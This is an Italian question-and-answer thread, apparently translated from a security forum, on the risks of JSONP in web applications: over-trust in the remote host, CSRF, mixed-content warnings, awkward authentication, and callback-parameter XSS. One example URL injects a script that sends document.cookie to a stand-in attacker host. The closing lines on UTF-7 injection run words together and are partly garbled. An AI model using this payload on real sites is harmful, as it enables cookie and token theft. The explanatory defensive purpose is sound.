Quali sono i rischi per la sicurezza con JSONP ? L'utilizzo di JSONP in una nuova applicazione Web è ragionevole, dal punto di vista della sicurezza, oppure è meglio utilizzare un metodo diverso per i mashup Web di origine incrociata?
Se l'uso di JSONP è ragionevole, quali passi dovrei fare per assicurarmi che lo stia usando in modo sicuro? Se è meglio usare qualcos'altro, cosa consiglieresti invece? (CORS?)
JSONP è un po 'rischioso, dal punto di vista della sicurezza:
Richiede una fiducia eccessiva. Supponiamo di avere una pagina ospitata su a.com e utilizza JSONP per accedere ai servizi forniti da b.org . Ciò comporta il 100% di fiducia in b.org . Se b.org è malevolo o bacato, può sovvertire la sicurezza della pagina di incorporamento e tutta l'origine a.com . Questo tipo di eccesso di fiducia è pericoloso dal punto di vista della sicurezza: rende fragile la tua applicazione.
Per dirla in un altro modo: JSONP è fondamentalmente un XSS autoinflitto. Sì, OK, so che è una funzionalità, non un bug, ma ancora ...
Vulnerabilità CSRF. Devi ricordarti di difenderti dalle vulnerabilità di CSRF e, con JSONP, è un po 'complicato. Il consiglio standard è di garantire che solo le richieste POST possano attivare un effetto collaterale e includere un token CSRF in tutte le richieste POST; ma JSONP implica l'invio di una richiesta GET per attivare un effetto collaterale, che non è esattamente la soluzione più pulita che tu abbia mai visto. Questo significa che l'host che fornisce il servizio JSONP deve ricordare di controllare i token CSRF anche su richieste GET. Inoltre, richiede un po 'di un protocollo complicato per la pagina di incorporamento ( a.com ) per ottenere il token CSRF corretto dal servizio JSONP ( b.org ). Diventa caotico.
causa avvisi di contenuto misto. Supponiamo di avere una pagina ospitata su https://a.com e acceda a un servizio JSONP su http://b.org . In questo modo, si innesca inevitabilmente un avviso di contenuto misto dall'aspetto spaventoso (poiché JSONP implica il caricamento di uno script da http://b.org ).
L'autenticazione dell'utente diventa brutta. Se b.org vuole autenticare l'utente, è difficile da fare quando usi JSONP. La pagina di incorporamento ( a.com ) deve prima in qualche modo dare all'utente la possibilità di accedere in anticipo a b.org , prima di accedere al servizio JSONP di b.org . Entrambi i siti devono coordinarsi.
Non so se gli sviluppatori web dovrebbero essere raccomandati per evitare JSONP per le nuove applicazioni web o no, ma questi aspetti fanno sembrare CORS piuttosto allettante.
Il parametro callback potrebbe essere un vettore XSS
Ho trovato una risposta su stackoverflow che filtra la risposta callback JSONP. Questo è necessario perché il parametro callback può essere manipolato in un attacco XSS che ruba i token CSRF in questo modo:
http://yoursite.com/jsonp.php?callback=(function(){ $(document.body).append('<script type="text/javascript" src="http://badsite.com/?usercookies='+document.cookie+'"></script>');})//LeiniezioniUTF7sonopossibiliseilsetdicaratterinonèincluso
Sel'intestazionenonèContent-Type:application/javascript;charset=utf-8,leiniezioniUTF7sonopossibili.
Laselezionedeltipodicontenutopotrebbeavereunimpatto
Iltipodicontenuto
C'è qualche differenza di funzionalità tra ciò che può essere fatto in alcuni browser in base al tipo di contenuto. Dovrò scavare i link da StackOverflow
Leggi altre domande sui tag json ajax web-application